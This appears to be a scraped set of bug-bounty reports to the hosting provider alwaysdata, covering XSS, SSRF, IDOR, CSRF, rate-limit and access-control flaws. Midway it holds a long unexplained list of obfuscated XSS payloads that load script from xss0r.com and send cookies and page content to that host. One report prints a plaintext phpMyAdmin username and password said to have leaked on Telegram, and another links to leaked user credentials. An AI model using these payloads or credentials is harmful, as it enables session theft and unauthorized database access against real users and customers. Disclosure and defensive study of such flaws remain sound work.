Security vulnerabilities

Email Enumeration:

Hello Team, I hope you are doing well. Well, researching on your domain, i found email enumeration in your domain.

Steps:

1.log in admin.alwaysdata.com account go to Profile.
2.choose change my email
3.enter your pass
4.enter any email you want to check
5.if the email isn't registered a message appears saying(the email is changed.)
6.if it is registered the message appearing is( There is already a profile with this email.)

BY automating the process you can easily enumerate users emails . what is the impact : 1.Mass password reset requests to registered users(spam) 2.imagine a new company like alwysdata want to advertise it will easily enumerate emails of alwaysdata and send the customers emails to convince them to join their company and leave circle this may cause you to loose some of your customers(targeted advertising through alwaysdata database) . there are other impact but those are most severe.

Here is the fix:
when a user try to assign an email that is already registered to your accounts tell him that (An error has occured)or(we have sent a verification email to your email address)or anything not revealing he is registered to you .
Here is the POC:
i have carried the attack on sample of 8845 emails to avoid server overload
the result is by using burpsuite i can bruteforce the change email feature and enumerate users by the status in intruder attack:
200—>Not registered and can be added
500—>registered and error message
400—> this is invalid email because for example it doesn't have @ sign in it

Thank You,
Waleed Anwar

Subject: Misconfiguration in 2FA Implementation Allows Pre-Complete ATO

To:
Security Team
alwaysdata

Description:
The lack of email verification before enabling Two-Factor Authentication (2FA) introduces a critical vulnerability that can facilitate pre-complete Account Takeover (ATO). An attacker can register email addresses resembling critical system accounts (e.g., administrator@alwaysdata.com or support@alwaysdata.com) without any validation.
This misconfiguration allows the attacker to appear as legitimate users or administrators by exploiting the following gaps:
1. Email Address Control:
The attacker registers administrator@alwaysdata.com (since admin@alwaysdata.com is already in use) or similar critical addresses such as support@alwaysdata.com. This bypass occurs because the application does not verify email ownership before enabling 2FA.
2. Pre-Complete ATO via 2FA:
Once the attacker controls the fake email, they enable 2FA. This results in the following:
- The email becomes "locked" for the attacker's use.
- Real administrators or support users cannot register or regain control of these emails.
- Critical accounts, if assumed to be associated with internal roles, are exploited for phishing or denial of service.
This oversight compromises account security and can lead to severe operational and reputational risks for alwaysdata.

Steps to Reproduce:
1. Register as a New User:
- Create a new account with an email resembling a sensitive system role (e.g., administrator@alwaysdata.com or support@alwaysdata.com).
2. Set Up 2FA on the Account:
- Enable Two-Factor Authentication without any email ownership verification.
3. Observe the Impact:
- The attacker now controls a seemingly legitimate account.
- Real users or employees attempting to register or recover accounts with these emails are blocked.
4. Potential Exploit:
- Use the compromised "fake admin" email to trick other users or employees.
- Execute phishing attacks or leverage the fake email for social engineering attempts.

Business Impact:
1. Operational Risk:
- Legitimate users or employees are unable to access critical accounts (e.g., admin@alwaysdata.com or support@alwaysdata.com).
- This could lead to service disruptions and hinder internal workflows.
2. Security Risks:
- Attackers can impersonate sensitive roles and deceive users or employees.
- Creates opportunities for phishing, fraud, and social engineering attacks.
3. Reputational Damage:
- Users and employees may lose trust in alwaysdata due to perceived weak account protection mechanisms.
4. Pre-Complete ATO:
- Attacker gains control of accounts with system-level trust (e.g., admin-like emails) without the ability of real users to regain access.

Severity:
High

Remediation Steps:
1. Mandate Email Verification:
Require all email addresses to be verified during registration and before enabling 2FA.
2. Restrict Critical Email Formats:
Disallow registrations with email addresses resembling sensitive roles (e.g., admin, administrator, support).
3. Enforce Ownership Validation:
Implement strict validation to ensure that users can only enable 2FA on accounts they genuinely own.
4. Audit Existing Accounts:
Identify and rectify any unverified accounts with potentially sensitive email addresses.

Video POC:
A detailed demonstration of the exploit steps is attached to this report to illustrate the issue clearly.
https://drive.google.com/file/d/17DNkoihfOW7jyMoY_eWMGNiigNY4Zmo7/view?usp=sharing

https://example.com

Bug Report: Vulnerability in User Addition Feature Leading to Email Blockage Exploit

Subject: Misconfiguration in User Addition Feature - Enables Permanent Blockage of Employee/User Emails

To:
Security Team
alwaysdata

Description:
The "Add a User" feature in your application has a critical misconfiguration that allows attackers to exploit email handling mechanisms. The vulnerability permits any email address, including sensitive ones like victim@alwaysdata.com or employee@alwaysdata.com, to be registered by an attacker under their account. This issue occurs irrespective of whether the victim is an actual user or employee of alwaysdata.
Key Problem:
Once an attacker registers email addresses to their account, the application erroneously considers these emails as "already in use." Consequently, legitimate users or employees are unable to:
• Register with their own email addresses.
• Recover passwords using the "Forgot Password" feature.
This creates a significant denial of service for legitimate users, especially for employee emails or those critical to operations.

Steps to Reproduce:
1. Login to the Application:
o Attacker logs into their account on alwaysdata.
2. Access the "Add a User" Feature:
o Navigate to the "Add a User" section.
3. Add Any Email Address:
o Enter any target email (e.g., victim@alwaysdata.com, employee@alwaysdata.com, or database_admin@alwaysdata.com) and add it as a user.
4. Observe the Impact:
o The entered email is stored in the database, associating it with the attacker’s account.
o Legitimate users or employees attempting to register with their email or recover their account using "Forgot Password" are blocked as their emails are flagged as already registered.

Business Impact:
1. Disruption of Operations:
Employees using critical emails (e.g., employee@alwaysdata.com, support@alwaysdata.com) are prevented from accessing the platform. This can halt workflows and damage operational continuity.
2. Customer Impact:
Legitimate customers with hijacked email registrations are blocked from using the platform, leading to frustration and loss of trust.
3. Potential Abuse:
o Attacker could pre-register a large list of potential or known email addresses (e.g., 100+ victims).
o Targeted denial of service campaigns against specific users or employees.
4. Reputational Damage:
Affected users may view alwaysdata as insecure and prone to misuse.

Severity:
Moderate to High

Remediation Steps:
1. Email Validation:
Restrict the registration of emails ending with @alwaysdata.com to prevent abuse of employee addresses.
2. Duplicate Email Handling:
Implement a verification mechanism to check if an email is legitimately registered to an account and ensure users can still register or recover their accounts.
3. Audit "Add a User" Logic:
Validate and sanitize inputs to avoid unauthorized addition of unrelated or sensitive emails.
4. Email Ownership Verification:
Mandate email verification for all newly added users before finalizing their association with an account.

Video POC:
A detailed POC has been attached showcasing the reproduction of this bug and its consequences.
https://drive.google.com/file/d/1TBi7njRCCsqkHhAEri7viUmyGot1Pyf5/view?usp=sharing

'"><script src=https://xss0r.com/c/sabeesh></script>
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzMHIuY29tL2Mvc2FiZWVzaCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs6; onerror=eval(atob(this.id))>
javascript:eval('var a=document.createElement(\'script\');a.src=\'https://xss0r.com/c/sabeesh\';document.body.appendChild(a)')
"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzMHIuY29tL2Mvc2FiZWVzaCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs6; autofocus>
"><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzMHIuY29tL2Mvc2FiZWVzaCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs6;>
"><iframe srcdoc="&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#118;&#97;&#114;&#32;&#97;&#61;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#114;&#101;&#97;&#116;&#101;&#69;&#108;&#101;&#109;&#101;&#110;&#116;&#40;&#34;&#115;&#99;&#114;&#105;&#112;&#116;&#34;&#41;&#59;&#97;&#46;&#115;&#114;&#99;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#120;&#115;&#115;&#48;&#114;&#46;&#99;&#111;&#109;&#47;&#99;&#47;&#115;&#97;&#98;&#101;&#101;&#115;&#104;&#34;&#59;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#98;&#111;&#100;&#121;&#46;&#97;&#112;&#112;&#101;&#110;&#100;&#67;&#104;&#105;&#108;&#100;&#40;&#97;&#41;&#59;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;">
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "xss0r.com/c/sabeesh");a.send();</script>
<script>$.getScript("xss0r.com/c/sabeesh")</script>
var a=document.createElement("script");a.src="https://xss0r.com/c/sabeesh";document.body.appendChild(a);
'"></Title/</StYle/</TeXtarEa/</ScRipt/</NoScRiPt/</SeLeCt/</OpTiOn/</Svg/''"><svg/onload=javascript:eval(atob('dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzMHIuY29tL2Mvc2FiZWVzaCI7ZG9jdW1lbnQuYm9keS5hcHBlbmQoYSk7')) '"><img src=x onerror="eval(atob('dmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTthLnNyYyA9ICdodHRwczovL3hzczByLmNvbS9jL3NhYmVlc2gnO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7'))">
"><img src=&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#120;&#115;&#115;&#48;&#114;&#46;&#99;&#111;&#109;&#47;&#99;&#47;&#115;&#97;&#98;&#101;&#101;&#115;&#104; onerror=&#101;&#118;&#97;&#108;&#40;&#97;&#116;&#111;&#98;&#40;&#116;&#104;&#105;&#115;&#46;&#115;&#114;&#99;&#41;&#41;>
'"<img src="https://xss0r.com/c/sabeesh" onerror='this.src="https://xss0r.com/c/sabeesh"'>
'"<img src=x onerror='this.src="https://xss0r.com/c/sabeesh"'>
'"<img src=x onerror='fetch("https://xss0r.com/c/sabeesh",{method:"POST",body:btoa(document.body.innerHTML),mode:"no-cors"})'>
'"<iframe src='javascript:window.location="https://xss0r.com/c/sabeesh"'></iframe>
'"<iframe srcdoc='<script>window.location="https://xss0r.com/c/sabeesh"</script>'></iframe>
'"<iframe srcdoc='<script>fetch("https://xss0r.com/c/sabeesh",{method:"POST",body:btoa(parent.document.body.innerHTML),mode:"no-cors"})</script>'></iframe>
'"<object data='javascript:window.location="https://xss0r.com/c/sabeesh"'></object>
<input onfocus='fetch("https://xss0r.com/c/sabeesh",{method:"POST",mode:"no-cors"})' autofocus>
'"<script type="text/javascript" src="https://xss0r.com/c/sabeesh"></script>
'"<script type="module" src="https://xss0r.com/c/sabeesh"></script>
'"<script nomodule src="https://xss0r.com/c/sabeesh"></script>
javascript:window.location="https://xss0r.com/c/sabeesh"
javascript:fetch("https://xss0r.com/c/sabeesh")
–></tiTle></stYle></texTarea></scrIpt>"'><scrIpt src="https://xss0r.com/c/sabeesh"></scrIpt>
'"<img src="https://xss0r.com/c/sabeesh" onerror="this.src='https://xss0r.com/c/sabeesh'">
'"<svg/onload="window.location.href='https://xss0r.com/c/sabeesh'">
'"<audio src onerror='fetch("https://xss0r.com/c/sabeesh",{method:"POST",mode:"no-cors"})'>
'"<script>new Image().src="https://xss0r.com/c/sabeesh"</script>
'"<form action="https://xss0r.com/c/sabeesh" method="POST"><input name="data" value=""></form><script>document.forms[0].submit();</script>
'"<iframe src="javascript:fetch('https://xss0r.com/c/sabeesh')"></iframe>
'"<link rel="stylesheet" href="https://xss0r.com/c/sabeesh" onerror='fetch("https://xss0r.com/c/sabeesh")'>
'"<meta http-equiv="refresh" content="0;url=https://xss0r.com/c/sabeesh">
'"<object data="https://xss0r.com/c/sabeesh" onerror='this.data="https://xss0r.com/c/sabeesh"'></object>
javascript:fetch("https://xss0r.com/c/sabeesh")
'"<svg/onload="fetch('https://xss0r.com/c/sabeesh'">
{constructor.constructor('fetch("https://xss0r.com/c/sabeesh"')()}
'"<img src=x onerror="fetch('https://xss0r.com/c/sabeesh')">
'"></script></title></textarea><script src=https://xss0r.com/c/sabeesh></script>
'"<svg/onload='var a="fetch";var b="https://xss0r.com/c/sabeesh"; setTimeout(a+"(b)",1000)'>
'"<iframe src="javascript:setTimeout('fetch(\"https://xss0r.com/c/sabeesh\")', 1000)"></iframe>
'"<form id='xss'><button form='xss' formaction='javascript:fetch("https://xss0r.com/c/sabeesh")'>Click Me</button></form>
'/*'/*`/*–></noscript></title></textarea></style></template></noembed></script>"'><scrIpt src="https://xss0r.com/c/sabeesh"></scrIpt>
'"><img src=x onerror=setTimeout(String.fromCharCode(102,101,116,99,104)+'("https://xss0r.com//sabeesh")', 0)>
'"><script>'/*'/*`/*–><svg onload=fetch("https://xss0r.com/c/sabeesh")></script>
'"?><svg/onload="fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)">
<img src=x onerror="setTimeout(function(){fetch('https://xss0r.com/c/sabeesh?data='+document.cookie)},10)">
<input autofocus onfocus="fetch('https://xss0r.com/c/sabeesh?token='+document.cookie)">
<iframe src="javascript:void(0)" onload="fetch('https://xss0r.com/c/sabeesh?url='+location.href)"><!–" –>
'"></title></textarea></script></style></noscript><script src=https://xss0r.com/c/sabeesh></script>
ibrahim'"<script src=https://xss0r.com/c/sabeesh></script>
ibro%27%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%3E%3C%2Fscript%3E
–></tiTle></stYle></texTarea></scrIpt>"'><scrIpt src=https://xss0r.com/c/sabeesh></scrIpt>
/*'/*`/*–></noscript></title></textarea></style></template></noembed></script>"'><scrIpt src="https://xss0r.com/c/sabeesh"></scrIpt>
-'"><Svg Src=xss0r.com/c/sabeesh/s OnLoad=import(this.getAttribute('src')+0)>
email%5D=zer0_sec+1%22%3E%3Cscript+src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E%40ibro1337%40gmail.com
<input onmouseover="fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)">
'"><Svg Src=xss0r.com/c/sabeesh/s OnLoad=import(this.getAttribute('src')+0)>
'"><Img Src=xss0r.com/c/sabeesh/x Onload=import(src+0)>
'/*\'/*"/*\"/*</Script><Input/AutoFocus/OnFocus=/**/(import(/https:https://xss0r.com/c/sabeesh\00?1=1290/.source))>
\"><input autofocus nope="%26quot;x%26quot;" onfocus="frames.location='https://xss0r.com/c/sabeesh?c='+Reflect.get(document,'coo'+'kie')">
\"></script><img src="x" onerror="with(document)body.appendChild(createElement('script')).src='https://xss0r.com/c/sabeesh'">
<p><img src="https://xss0r.com/c/sabeesh" border="0" />–&gt;</p>
'"></title></textarea></script></style></noscript><script src=https://xss0r.com/c/sabeesh></script>
<script>$.getScript("https://xss0r.com/c/sabeesh")</script>
‘;"/></textarea></script><script src=xss0r.com/c/sabeesh>
zer0_sec+1%22%3E%3Cscript+src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E%40ibro1337%40gmail.com
zer0_sec 1"><script src="https://xss0r.com/c/sabeesh"></script>@ibro1337@gmail.com ibro1337%40gmail.com%22%3E%3Cscript%20src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E
ibro1337@gmail.com"><script src="https://xss0r.com/c/sabeesh"></script>
{globalThis.constructor("fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)")()}
ibro1337@gmail.com<!–" –><script src=https://xss0r.com/c/sabeesh></script>
ibro1337%40gmail.com%22%3E%3Cscript%20src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E
ibro1337@gmail.com"><svg onload="fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)"></svg>
<iframe src="https://xss0r.com" onload="fetch('https://xss0r.com/c/sabeesh?cookie=' + document.cookie)"></iframe>
</script><Iframe SrcDoc="><script src=https://xss0r.com/c/sabeesh></script>">
%3C%2Fscript%3E%3CIframe%20SrcDoc%3D%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%3E%3C%2Fscript%3E%22%3E
%253C%252Fscript%253E%253CIframe%2520SrcDoc%253D%2522%253E%253Cscript%2520src%253Dhttps%253A%252F%252Fxss0r.com%252Fc%252Fsabeesh%253E%253C%252Fscript%253E%2522%253E
–></tiTle></stYle></texTarea></scrIpt>"'><scrIpt src="https://xss0r.com/c/sabeesh"></scrIpt>
–%3E%3C%2FtiTle%3E%3C%2FstYle%3E%3C%2FtexTarea%3E%3C%2FscrIpt%3E%22%2F%2F%27%2F%2F%3E%3CscrIpt%20src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E
–%253E%253C%252FtiTle%253E%253C%252FstYle%253E%253C%252FtexTarea%253E%253C%252FscrIpt%253E%2522%252F%252F%2527%252F%252F%253E%253CscrIpt%2520src%253D%2522https%253A%252F%252Fxss0r.com%252Fc%252Fsabeesh%2522%253E%253C%252Fscript%253E
javascript:%27%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%3E%3C%2Fscript%3E
'"><script src=https://xss0r.com/c/sabeesh></script><img src=x onerror=fetch('https://xss0r.com/c/sabeesh?c='+document.cookie)>
javascript:%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%3E%3C%2Fscript%3E
javascript:%27%22%3E%3Csvg%20onmouseover%3D%22fetch('https://xss0r.com/c/sabeesh?data='+document.cookie)%22%3E%3C%2Fsvg%3E
javascript:/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/–>&lt;svg/onload=/*<html/*/onmouseover=fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)>
javascript:</script></textarea></style></noscript></noembed></script></template>&lt;svg/onload=/*fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)/*–><html */ onmouseover=alert()//>

Hi Team i have found a reflective Xss in your url

http://phppgadmin.alwaysdata.com/phppgadmin/index.php?server=8890

when i use this payload it triggers alert

https://phppgadmin.alwaysdata.com/phppgadmin/index.php?server=%22{text%3a%3Cimg%2fsrc%3dx+onload%3dconfirm(1)%3E}%22

Please reach out to me , My email id is sabeesh.harinarayanan@gmail.com for POC as i am unable to attach here

Regards
Sabeesh

Target:alwaysdata.com

Vulnerability Type:Sensitive Credential Exposure

Severity:CRITICAL

Overview:During an OSINT investigation using a custom tool designed to collect data from dark web forums, I identified exposed credentials of users from alwaysdata.com were leaked This poses a significant security risk to the organization. Attached is the txt file with the credentials I found.

Remediation:
Reset all compromised user passwords immediately
Enforce multi-factor authentication
Monitor for signs of account compromise and unauthorized access
Notify impacted users to update credentials

Impact:
Mass account takeovers by attackers
Breach of personal data and intellectual property
Financial fraud and illegal activities using compromised accounts
Potential lateral network compromiseBrand damage, legal liabilities, regulatory violations

Poc :

https://drive.google.com/drive/folders/1Ox0JvlCLy--RDErIj7y9GzGLwoAY7PQL?usp=sharing

Overview:
While conducting research on alwaysdata.com, I discovered sensitive credentials publicly exposed on a Telegram channel. These credentials provided direct access to alwaysdata’s phpMyAdmin instance, exposing database management functionalities that could lead to unauthorized data access, modification, or deletion. This issue represents a serious security risk, as it could enable malicious actors to compromise databases hosted on alwaysdata.

Steps to Reproduce:
1. Navigate to [https://phpmyadmin.alwaysdata.com/](https://phpmyadmin.alwaysdata.com/).
2. Use the following credentials found on the Telegram channel:

1. Username: projets_baltic
2. Password: LouisCelestin004@#

3. Successfully logging in grants full access to phpMyAdmin.

Proof of Concept (PoC):


Impact:
- Unrestricted access to phpMyAdmin allows any user to view, edit, or delete data within the accessible databases.
- Potential exposure of sensitive customer or internal data, which could result in data breaches.
- Elevates the risk of unauthorized database modifications, compromising data integrity and system security.

Remediation Suggestions:
- Immediately change the credentials for the affected phpMyAdmin user accounts and review logs for any unauthorized access.
- Implement IP or role-based access restrictions to phpMyAdmin to prevent unauthorized external access.
- Monitor and periodically audit for publicly shared or leaked credentials, especially on social media and messaging platforms.

Motivation for Reporting:
This report highlights the potential for data compromise on alwaysdata’s phpMyAdmin, as exposed credentials grant full access to manage sensitive databases. Addressing this issue will help alwaysdata protect its customers’ data and maintain the integrity of its hosted environments.

References:
- [OWASP Secure Credential Storage](https://owasp.org/www-project-proactive-controls/v3/en/c8-protect-data-everywhere)
- [NIST Guidelines on Access Control](https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final)

Please feel free to reach out if additional details or verification are required.

Stored Xss in mesaage parameter:

Hello Team, I hope you are doing well. While Researching on your domain i Found Stored Xss in message Parameter via Post Method.

Steps:

1. Go to https://admin.alwaysdata.com/message/toggle/.
2. Capture this request on BurpSuite.
3. While in Post Request, there is message_id parameter, you can input xss payload <script>alert(document.cookie)</script> and copy the request and paste it in browser you see it will reflecting in browser.

Poc:

POST /message/toggle/ HTTP/2
Host: admin.alwaysdata.com
Cookie: csrftoken=xxxxxxxxxxxxxx; django_language=en; sessionid=xxxxxxxxxxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://admin.alwaysdata.com/message/ Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Csrftoken: nxxtYwkQfIRMWcftaEokwghO10GoV6yv
X-Requested-With: XMLHttpRequest
Content-Length: 50
Origin: https://admin.alwaysdata.com Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

message_id=<script>alert(document.cookie)</script>

Impact
Can steal Cookie, Can run javascript code, etc

Thank You,

Waleed Anwar

It was observed that the application exhibits poor data handling practices, which could lead to potential security vulnerabilities. Specifically:

Reflected Input in 404 Error Page: When a user navigates to a non-existent URL ====(https://www.alwaysdata.com/%69%6e%73%63%72%69%70%74%69%6f%6e%2f%79%6f%75%5f%61%72%65%5f%68%61%63%6b%65%64%5f%62%79%5f%7a%61%69%6e),==== the application returns a 404 error page. However, any additional text or encoded characters appended to the URL (e.g., malicious payloads) are directly reflected in the error message without proper sanitization or encoding.

Example: Accessing the crafted URL 1: https://www.alwaysdata.com/%69%6e%73%63%72%69%70%74%69%6f%6e%2f%79%6f%75%5f%61%72%65%5f%68%61%63%6b%65%64%5f%62%79%5f%7a%61%69%6e

2: https://www.alwaysdata.com/yOu_Are_hAckEd_by_zaIN_Ul_AbideeN

Result:

====404 - Page not found
The page /yOu_Are_hAckEd_by_zaIN_Ul_AbideeN could not be found. If you believe this is an error on our part, please let us know. Back ====

====Risk:==== This issue indicates a lack of proper input validation and output encoding, making the application vulnerable to Reflected Cross-Site Scripting (XSS) attacks. An attacker could craft malicious URLs containing scripts (e.g., <script>alert('XSS')</script>), which, if clicked by another user, could execute arbitrary JavaScript in their browser.

**Recommendation:**

Input Validation:

__**Observation:**__

__**Recommendation:**__

##Title: Improper Access Control in [admin.alwaysdata.com]

Summary:

A privilege escalation vulnerability was identified in the platform’s access control mechanism for managing specific paths related to site and SSL configurations. When a user is restricted from accessing a specific path within a site (sites path permission denied) but granted access to SSL management, they can still access a URL path intended for restricted site management at /site/xx/ssl. This bypasses intended access restrictions.

Description:

[Note that the path I mentioned to you does not appear to you when you are not given permissions to access the path (site)]

The platform enables administrators to set granular permissions, controlling what paths invited users can access or manage within a site. Two relevant permissions in this context are:

Path Management (sites): Grants access to manage certain paths related to a site.

SSL Management (ssl certificates): Grants access to manage SSL certificates.

There is a permissions inconsistency that allows users with SSL Management permissions, but without specific sites path permissions, to access the /site/xx/ssl path. This path resides within a restricted site-related path, yet contains SSL management functionalities. As a result, users can bypass restrictions on specific paths and potentially access or manipulate SSL settings.

##Link: [https://admin.alwaysdata.com/site/configuration/ssl/]
Steps to Reproduce:

1. Create a user account and assign SSL Management (ssl certificates) permissions, while explicitly denying access to the sites path.

2. Attempt to access the URL path: /site/xx/ssl.

3. Observe that access is granted to the SSL management path within the restricted sites path, despite restrictions on other paths under sites.

Expected Result:

The system should prevent access to paths under /site—including /site/xx/ssl—when specific path permissions are denied.

Actual Result:

The user can access /site/xx/ssl even though access to paths under /site is restricted, allowing them unintended access to certain SSL configurations tied to the site path.

##Proof of Concept: https://admin.alwaysdata.com/support/82440/384175-bandicam%202024-11-12%2004-13-20-975.mp4

Impact:

This vulnerability allows unauthorized users to bypass restrictions on certain paths and access SSL configurations. If exploited, this could lead to unauthorized manipulation of SSL settings, compromising the security integrity of site-related resources.

SSRF WITH FILE UPLOAD FUNCTIONALITY:

Hello Team, I hope you are doing well. I found a ssrf through pdf upload in https://admin.alwaysdata.com/support.

Steps to Reproduce:

1. Go to https://admin.alwaysdata.com/support and upload a pdf file which have ssrf through ( "Burp Collab" or malicious url redirection "attacker.com")

2. Send this file to any user when he/she open that file and click the link in that it will redirect to attacker website or http and dns response will be shown in Burpsuite.

Impact
The vulnerability could be used to conduct further attacks, such as accessing internal systems or exfiltrating sensitive data.

Attacker will redirect any user to their website to steal data of user and can do whatever he/she wants.

Thank You,

Waleed Anwar

Summary: A race condition vulnerability was found, allowing users to bypass the product limit restriction and create multiple instances of a product that should be limited to only one per user.

Steps to Reproduce:

1-Open a New Account:
Go to "Open a New Account" and enter the required information.

2-Send Concurrent Requests:
Use a tool like Burp Suite or a script to send multiple requests at the same time.
Slightly change the product name in each request (e.g., "Product1," "Product2") to avoid immediate duplicates.

3-Verify:
Check the account to confirm multiple instances of the product were created.

Impact:

1-Resource Abuse: Users can consume excessive resources (e.g., storage or server space), impacting performance and increasing operational costs.

2-Account Abuse: Malicious users may create multiple products for spam, fraud, or denial-of-service (DoS) attacks.

3-System Integrity: This flaw undermines the system’s integrity by allowing unauthorized duplication of resources.

Recommended Fixes: Atomic Operations: Ensure product creation checks and actions happen as one atomic operation.
Database Constraints: Enforce unique limits in the database to block duplicate entries.
Synchronization: Use locking mechanisms to prevent concurrent request handling.

Logout CSRF

Hi Team,
This is a low risk but want you to know that logout on this domain admin.alwaysdata.com did not protect the logout form with csrf token, therefor i can logout any user by sending this url https://admin.alwaysdata.com/logout/.
Logout should have post method with a valid csrf token.
Let me know if you need more info.

Regards
Waleed Anwar

A password reset page does not properly validate the authenticity token at the server side.

1. Go to https://admin.alwaysdata.com/password/lost/ and request a new password.
2. Go to email, and click on the link.
3. Put the new password, submit and intercept the request; remove the authenticity token from the request and now forward it to the server.
you will see request still got completed, its shows token invalid in the browser but you can refresh the page and you see that user is logged in with new password.

Thanks,

Waleed Anwar

No Rate Limit on account deletion request(Leads to Password Guessing)

Hello Team, I hope you are doing well.

I found this vulnerability in your website Business Logic Errors

Referrer: https://admin.alwaysdata.com/admin/details/357258/delete/

*Description :
No Rate Limit is a type of computer security vulnerability typically found in web applications. No Rate Limit enables attackers to perform actions on the web application where the attacker can do signup creation, password reset or 2FA of other users. No Rate Limit vulnerability may be used by attackers to bypass access controls such & bruteforce tokens and passwords without any limiting of any requests. There should be protection on the web application for sensitive actions. Attackers send a high number of requests to perform desirable actions to get access to the application or accounts.
NO RL effects vary in range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner network. *Steps to Reproduce:

1. Go to https://admin.alwaysdata.com/admin/details/357258/delete/

2. Intercept This Request In Burp And Forward Till You Found Your Number In

3 Now Send This Request To Intruder And Repeat It 250 Time By Fixing Any Arbitrary Payload Which Doesn't No Effect Request I Choose Accept-Language: en-US,en;q=0.$5$ and payload set null 250 and start attack.

Note:-
Ofcourse, generating account deletion emails is possible if an attacker gets control over user's account (or) it may be possible if any other vulnerabilities are discovered in future.

Thanks,

Waleed Anwar

Improper access control on adding (admin@alwaysdata.com) email in profile setting to take this email.

Hello Sir,

I hope your are doing well. I found a flow in https://admin.alwaysdata.com/ to add banned email to their profile setting to takeover the email.

Steps:

1. Go to https://www.alwaysdata.com/en/register/ 2. Input admin@alwaysdata.com in email and then input password whatever you want.
3. Click Create Profile then its show's (Email address : This email has been banned).
4. Create a Profile with your own email something@mail.com. 5. Then go to https://admin.alwaysdata.com/admin/details/ and then input email which is admin@alwaysdata.com. 6. Then input your old password and click submit you can takeover this email which is banned for making profile.

Impact
An attacker can add this email to their account make some stuff for your business loss.

Thank You,

Waleed Anwar

Hello Alwaysdata Security Team,

I hope this message finds you well.

I am reaching out as part of your Vulnerability Disclosure Program to report a potential security issue I found, titled "Lack of Rate Limiting on Password Reset Page".
===
Vulnerability Details:===

The password reset page (https://admin.alwaysdata.com/password/lost/) currently does not have rate limiting enabled, which allows repeated attempts without any restrictions.i send the request to Intruder and set my email and set payload around 80 times and the server give me the 80 linkes on my eamil (forgot password emial link)

Impact:

Recommendation:

### Title:
Insecure Direct Object Reference (IDOR) Vulnerability: Unauthorized Commenting on Invisible Reports in [security.alwaysdata.com]

Note: I sent the vulnerability to [flyspray] They did not respond to the security report, and it has been a long time, So I had to send it to you.
—

#### Introduction
A security vulnerability has been identified in the site's report commenting feature, which allows unauthorized users to add comments to reports they should not have access to. This is due to an Insecure Direct Object Reference (IDOR) issue, compromising the integrity of sensitive data.

—

#### Steps to Reproduce
1. Create a New Report: Log in and create a new report.
2. Add a Comment: Use Burp Suite to intercept the HTTP request while adding a comment.
3. Modify the Report ID: Change the report ID in the request to one that is not visible to the public.
4. Submit the Modified Request: Forward the modified request through Burp Suite.
5. Check for Unauthorized Comment: Verify that the comment has been added to the invisible report.

##POC: To prove the concept, I commented on a report from my second account, and this report is not publicly available, Report number: 78
link: https://admin.alwaysdata.com/support/82086/382759-Screenshot_%D9%A2%D9%A0%D9%A2%D9%A4%D9%A1%D9%A0%D9%A2%D9%A4_%D9%A0%D9%A4%D9%A5%D9%A9%D9%A5%D9%A7_Kiwi%20Browser.jpg —

#### Impact
This IDOR vulnerability can lead to:
- Unauthorized Access: Users can manipulate and comment on reports they are not permitted to view.

Overview of the Vulnerability
User accounts are more susceptible to account takeover when there is no password confirmation on certain actions. For example, change of email address, change of password, management of Multi-Factor Authentication details, and account deletion.
